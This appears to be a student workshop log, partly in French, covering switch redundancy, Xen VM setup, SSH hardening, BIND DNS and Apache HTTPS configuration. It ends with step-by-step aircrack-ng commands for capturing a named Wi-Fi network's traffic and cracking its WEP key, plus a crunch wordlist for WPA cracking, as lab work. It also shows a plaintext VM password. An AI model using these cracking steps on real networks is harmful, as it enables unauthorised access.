G1 : Advanced Networking Protocol Workshop

The main aim of this workshop is to realize a redundant network infrastructure to ensure maximum availability in case of a device or path failure. The architecture of the network is shown in the diagram given below.

Scope statement for the specific task

Task overview

We were assigned to configure one of the L3 switches to enable routing protocol(for IPv4 and IPv6) and also to ensure layer 3 redundancy with HSRP.

Materials used for the specific task

• Layer-3 Switch : Cisco Catalyst 3560-E
• PC with serial connection

Workshop progress

Week 1 (28/09/2015)

conf files :

• Conf_ospf_hsrp_ipv4.txt
• Conf_hsrp_ipv6.txt

Week 2 (05/10/2015)

• ssh pour la machine cordouan

ssh root@cordouan.insecserv.deule.net

• configuration de la machine virtuelle XEN

xen-create-image --hostname=WESTMALLE --ip=193.48.57.161 --netmask=255.255.255.240 --gateway=193.48.57.174 \ --nameserver=193.48.57.48 --dir=/usr/local/xen --genpass=0 --password=pasglop --dist=stable

• permet de la créer une fois le fichier de config

xl create /etc/xen/WESTMALLE.cfg

• emplacement fichier de configuration de la machine XEN

/etc/XEN/WESTMALLE.cfg

Fichier:WESTMALLEcfg.txt
modification de la taille mémoire, et "bridge=IMA5sc"

• permet de lancer la machine virtuelle XEN

xl console WESTMALLE

Week 3 (12/10/2015)

This week we started with installing few important packages in the Xen virtual server such as apache2, fail2ban, bind9, dnsutils and openssh-server. To secure the ssh server, we changed the configuration line (as shown below) of the file /etc/ssh/sshd_config:

Port 619 PermitRootLogin no-password

To enable root login, we had to generate an asymmetric key (private and public) where the public key will be stored in the server while the user who wishes to connect to the server must have the private key. To generate the asymmetric key, we used the command:

ssh-keygen -b 2048

Then, the public key had to be stored in a file called authorized_keys2 (for SSHv2).

After that, we continued to configure the DNS server. First of all, we bought a domain name from one of the domain name registrars, Gandi. Since we wanted to host our own DNS server, we pointed the primary DNS field to our computer (ns1.troisiemesexe.lol). The secondary DNS field was filled with Gandi’s secondary NS server. It was time we configured our own DNS server.

/etc/hosts:

127.0.0.1 localhost 193.48.57.161 westmalle.troisiemesexe.lol westmalle 193.48.57.161 ns1.troisiemesexe.lol ns1

/etc/host.conf:

order hosts, bind multi on

/etc/networks:

default 0.0.0.0 loopback 127.0.0.0 link-local 169.254.0.0 lnet.troisiemesexe.lol 193.48.57.160

/etc/resolv.conf:

domain troisiemesexe.lol search troisiemesexe.lol nameserver 127.0.0.1 nameserver 193.48.57.48

/etc/bind/db.troisiemesexe.lol:

$TTL 604800 @ IN SOA ns1.troisiemesexe.lol. admin.troisiemesexe.lol. ( 2015101705  ; Serial 900  ; Refresh 28800  ; Retry 604800  ; Expire 86400 )  ; Minimum @ IN A 193.48.57.161 ;@ IN AAAA  ::1 @ IN NS ns1.troisiemesexe.lol. @ IN NS ns6.gandi.net. ns1 IN A 193.48.57.161 ;ns1 IN AAAA  :::1 westmalle IN A 193.48.57.161 arch IN A 193.48.57.174  ;arch -> router www IN A 193.48.57.161

/etc/bind/named.conf.local:

zone "troisiemesexe.lol" IN { type master; file "/etc/bind/db.troisiemesexe.lol"; allow-transfer {217.70.177.40;}; allow-query {any;}; notify yes; };

And then, we configured the apache VirtualHosts. If the server receives an HTTP request on port 80, it will rewrite the URL to HTTPS on port 443.

/etc/apache2/sites-available/troisiemesexe.lol.conf:

<VirtualHost *:80> ServerName troisiemesexe.lol ServerAlias www.troisiemesexe.lol *.troisiemesexe.lol ServerAdmin root@troisiemesexe.lol DocumentRoot /var/www/troisiemesexe.lol ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined RewriteEngine on ReWriteCond  %{HTTP_HOST}  !^(westmalle|ns1) [NC] ReWriteCond  %{SERVER_PORT} !^443$ RewriteRule ^/(.*) https://%{HTTP_HOST}/$1 [NC,R=301,L] RewriteRule ^(.*)$ https://www.troisiemesexe.lol$1 [R=301,L] </VirtualHost> <IfModule mod_ssl.c> <VirtualHost *:443> ServerName troisiemesexe.lol ServerAlias www.troisiemesexe.lol ServerAdmin root@troisiemesexe.lol DocumentRoot /var/www/troisiemesexe.lol ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined SSLEngine on SSLCertificateFile /etc/ssl/certs/troisiemesexe.lol.crt SSLCertificateKeyFile /etc/ssl/private/troisiemesexe.lol.key SSLCertificateChainFile /etc/ssl/certs/GandiStdSSLCA2.pem SSLVerifyClient None </VirtualHost> </IfModule>

To enable the site, we used the command:

a2ensite troisiemesexe.lol

semaine 5 (12/11/2015)

Cassage de la clef WEP

• On commence par donner la main à l'application airmon-ng sur l'interface wlan0

airmon-ng start wlan0

• On termine tous les processus qui utilisait precedement à airmon-ng l'interface wlan0

airmon-ng check kill

• On commence par visualiser les réseaux visibles par wlan0

airodump-ng wlan0mon

• notre cible est cracotte01. On va sauvegarder dans fromage.cap tous les paquets à destination de 00:23:5E:1E:05:40

airodump-ng --essid cracotte01 --write fromage -c 7 --bssid 00:23:5E:1E:05:40 wlan0mon

• Pendant que les paquets s'enregistrent dans fromage.cap, on ouvre un nouveau terminal et on lance une commande qui va tenter de décoder les paquets avec la commande aircrack-ng. On stockera la clef dans le fichier KEY

aircrack-ng -l KEY -s -f 15 fromage-01.cap

semaine 6 (??/11/2015)

Cassage de la clef WPA

• Il faut que l'on génère un dictionnaire pour tenter de casser la clef WPA. Aircrack-ng n'est pas capable de générer lui même les mots.

crunch 8 8 0123456789 > dico.txt